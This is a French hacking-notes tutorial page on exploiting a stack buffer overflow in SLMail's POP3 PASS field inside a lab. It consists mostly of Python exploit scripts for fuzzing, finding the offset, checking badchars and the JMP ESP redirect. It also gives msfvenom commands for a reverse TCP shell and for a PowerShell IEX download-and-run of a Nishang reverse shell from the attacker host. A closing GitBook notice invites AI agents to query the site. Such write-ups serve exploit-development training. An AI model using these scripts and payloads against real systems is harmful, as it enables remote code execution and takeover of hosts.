> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-slmail.md). # Buffer overflow Windows - SLMail Notes de buffer overflow Windows SLMail pour le fuzzing POP3, la découverte des offsets, la sélection de JMP ESP, la livraison du shellcode et la validation de l’exploit.
Installation de l’environnement pour Buffer Overflow 1. Téléchargez la machine [Windows 7 Basic 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86): 2. À l’intérieur de la machine, téléchargez le [débogueur ](https://www.immunityinc.com/products/debugger/): 3. Une fois qu’il est installé, exécutez la commande suivante dans le terminal : ```bash bcdedit.exe /set {current} nx AlwaysOff ``` 4. Copiez ceci [script ](https://www.immunityinc.com/products/debugger/)dans un fichier a.py : 5. Collez le script dans `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands` 6. Enfin, installez [slmail](https://slmail.software.informer.com/download/): ![](https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9d0ea004dcea6450cb50b8b4a9a97886daf210c%2FPasted%20image%2020231215185617.png?alt=media)
## Phase initiale de fuzzing et contrôle du registre EIP : {% hint style="success" %} Lors de la phase initiale d’exploitation d’un buffer overflow, les premières étapes consistent à déterminer les limites du programme. Cela se fait en testant l’introduction de caractères supplémentaires dans divers champs d’entrée du programme, comme des chaînes de texte ou des fichiers, jusqu’à ce qu’une altération ou une panne de l’application soit détectée. Une fois la limite du champ d’entrée identifiée, l’étape suivante consiste à découvrir l’offset, qui représente le nombre exact de caractères nécessaires pour provoquer une modification dans le programme et écraser aussi la valeur du registre EIP (Extended Instruction Pointer). Ce registre, qui pointe vers l’adresse mémoire de la prochaine instruction à exécuter, est crucial. Dans une exploitation réussie du buffer overflow, sa valeur est remplacée par une adresse contrôlée par l’attaquant, permettant l’exécution de code malveillant. Ainsi, l’objectif lors de la détermination de l’offset est de spécifier la quantité exacte de caractères à introduire pour écraser la valeur du registre EIP, en pointant ainsi vers l’adresse mémoire contrôlée par l’attaquant. Avec cette information, vous pouvez concevoir un exploit personnel pour le programme cible, en contrôlant également le registre EIP et en permettant l’exécution de code malveillant. {% endhint %} * Dans Immunity Debugger, nous sélectionnons SL Mail :
* Nous allons maintenant créer un script en Python qui automatisera la découverte du nombre d’octets nécessaires pour provoquer un crash du programme. ```python #!/usr/bin/python3 import socket import sys if len(sys.argv) != 2: print("/n[!] Usage: exploit.py ") exit(1) ip_address = "192.168.71.139" port = 110 total_length = int(sys.argv[1]) def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + b"A"*total_length + b' /r/n') s.close() if __name__ == '__main__': exploit() ```
Comme nous sommes sous Windows, nous utiliserons un outil de Metasploit. ```bash /usr/share/metasploit-framework/tools/exploit/pattern_create.rb ``` Exemple avec 5000 caractères :
```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ``` * Le service a crashé, mais ce qui nous intéresse est la valeur de l’EIP :
* Avec le script suivant, également issu de Metasploit, nous transmettons cela, l’EIP, et il calcule le nombre maximal de caractères possibles pour le buffer : `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`
* Une fois l’offset connu, le script suivant injectera 4 caractères B pour voir si cela fonctionne ou non : ```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A"* offset eip = b"B"*4 payload = before_eip + eip def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ``` \*Nous voyons que l’EIP correspond à la lettre B quatre fois (42424242) :
## Allocation d’espace pour le shellcode : {% hint style="success" %} Une fois l’offset trouvé et la valeur du registre EIP écrasée lors d’un buffer overflow, l’étape suivante consiste à localiser en mémoire la représentation des caractères saisis dans le champ d’entrée. Après cette modification du registre EIP, les caractères supplémentaires introduits dans le champ d’entrée sont repérés au début de la pile dans le registre ESP (Extended Stack Pointer), comme on peut l’observer via Immunity Debugger. ESP, un registre du CPU, gère la pile dans un programme, une zone mémoire temporaire qui stocke les valeurs et les adresses de retour des fonctions. L’étape suivante consiste à injecter un shellcode, c’est-à-dire les instructions de base correspondant à une action malveillante, à l’emplacement où ils sont identifiés. Le shellcode est placé dans la pile à l’adresse où se trouvent les caractères modifiés, exploitant également le buffer overflow pour exécuter le code malveillant et prendre le contrôle du système. Il est crucial de concevoir le shellcode avec des précautions afin d’éviter toute détection malveillante, tout en garantissant la compatibilité avec l’architecture du CPU et le système d’exploitation ciblé. En résumé, l’allocation d’espace pour le shellcode nécessite une identification précise de l’emplacement mémoire des autres caractères dans le buffer overflow, suivie d’une injection stratégique du shellcode malveillant. Cependant, la conception du shellcode doit prendre en compte la détection des caractères indésirables (badchars), et nous verrons à l’étape suivante comment les détecter et générer un shellcode exempt de ces éléments. {% endhint %} Maintenant, avec le script suivant, nous allons voir ce qui se passe si nous ne créons pas de débordement du buffer après EIP ou si tout le contenu est en mémoire (sur la pile) : ```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A"* offset eip = b"B"*4 after_eip = b"C"*200 payload = before_eip + eip + after_eip def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ```
Si nous regardons plus d’informations sur la gauche avec follow in dump :
## Génération de bytearrays et détection des badchars : {% hint style="success" %} Lors de la création d’un shellcode malveillant pour exploiter le buffer overflow, le programme cible peut échouer à interpréter certains octets spécifiques, appelés badchars. Ces octets peuvent casser le shellcode ou faire planter le programme de manière inattendue. Pour éviter cela, identifiez et supprimez les badchars avant de générer la charge utile finale. Avec Immunity Debugger et Mona, générez un bytearray complet, envoyez-le à travers le buffer vulnérable et comparez les octets qui arrivent dans ESP. Tout octet manquant ou altéré doit être exclu du shellcode final. {% endhint %} \*Nous utilisons la commande suivante pour créer un dossier de travail avec Mona sur le bureau : 
!mona config -set workingfolder C:/Users/Jordan/Desktop/Analysis
* Avec la commande suivante, les fichiers sont créés : ``` !mona bytearray -cpb '/x00' ```
* Pour transférer les fichiers, nous pouvons créer un serveur SMB avec la commande suivante : 
impacket-smbserver smbFolder $(pwd) -smb2support
* Dans l’Explorateur de fichiers, nous saisissons l’adresse IP et collons le fichier bytearray créé :
* Maintenant, cette chaîne doit être collée dans le script (en ajoutant un « b » à chaque ligne pour indiquer qu’elle est en mode octet) :
* Script Python : ```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = b"B" * 4 after_eip = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20" b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40" b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60" b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80" b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0" b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0" b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0" b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff") payload = before_eip + eip + after_eip def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ``` * Nous effectuons un follow in dump de l’ESP :
* Là, nous pouvons voir les caractères indésirables (qu’il ne peut pas interpréter) : Nous affichons maintenant la commande ci-dessous avec le numéro ESP (précédé de 0x et la comparaison avec bytearray.bin) pour voir les caractères qui peuvent être interprétés correctement : 
!mona compare -a 0x00E8A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
* Avec cette commande, nous indiquons de ne pas supprimer les caractères indésirables du fichier bytearray : ``` !mona bytearray -cpb '/x00/x0a' ```
* Nous le refaisons et il détecte de nouveaux caractères indésirables : 
!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*Et nous mettons à jour le bytearray à nouveau : ``` !mona bytearray -cpb '/x00/x0a/x0d' ```
* Si nous le faisons à nouveau, aucune erreur n’apparaît plus :
## Recherche d’opcodes pour accéder à l’ESP et charger notre shellcode : {% hint style="success" %} Après avoir généré le shellcode et identifié les badchars, redirigez le flux d’exécution vers le shellcode. L’objectif est d’écraser EIP avec une adresse mémoire qui contient un `JMP ESP` instruction, car le shellcode réside dans ESP et EIP ne peut pas le pointer directement de manière fiable. Utilisez des outils tels que `mona.py` pour rechercher dans les modules chargés un `JMP ESP` opcode utilisable. Une fois l’adresse trouvée, placez-la dans EIP afin que l’exécution saute vers ESP et exécute le shellcode. {% endhint %} * La commande ci-dessous génère un shellcode Windows x86, en utilisant une connexion TCP inversée vers l’adresse IP 192.168.71.128 sur le port 443, avec un encodage shikata/\_ga/\_nai et en excluant les badchars. ```css msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread ```
* Maintenant, avec la **!mona modules** commande, nous allons rechercher un module non protégé dont la valeur est fausse :
* Nous recherchons un jmp esp, qui se traduirait par "/xFF/xE4" :
* Avec la commande suivante, nous devrions choisir l’un de ces modules sans protection et sans bad char :
* Dans ce cas, nous choisissons le dernier, qui est « 0x5f4c4d13 ». Nous allons créer un point d’arrêt pour vérifier si le flux du programme le traverse correctement :
* Avec ce script, nous parviendrons à modifier l’EIP pour celui qui nous intéresse : ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = pack("
* Maintenant, si nous suivons le dump de l’ESP, le shellcode serait représenté :
## Utilisation de NOP, des placements dans la pile et de l’interprétation du shellcode pour obtenir une RCE (exécution de code à distance). * Il ne nous l’interprète pas :
* Modifions maintenant le script en ajoutant ce NOP de la manière suivante :
* Script final : ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = pack("
## Modification du shellcode pour contrôler la commande que vous pouvez exécuter : {% hint style="success" %} En plus des charges utiles de reverse shell, le `windows/exec` payload peut intégrer une commande directement via l’option `CMD` . Cela crée un shellcode qui exécute la commande choisie lorsqu’il s’exécute. Générez-le avec `msfvenom -p windows/exec CMD=""`, puis utilisez la même technique de buffer overflow pour écraser EIP et rediriger l’exécution vers le shellcode. {% endhint %} * Téléchargez ceci [script ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)et nommez-le PS.ps1 Ajoutez ceci à la fin du script : `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443` * Générez le shellcode : ```bash msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread ```
* Script mis à jour : ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = pack("
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.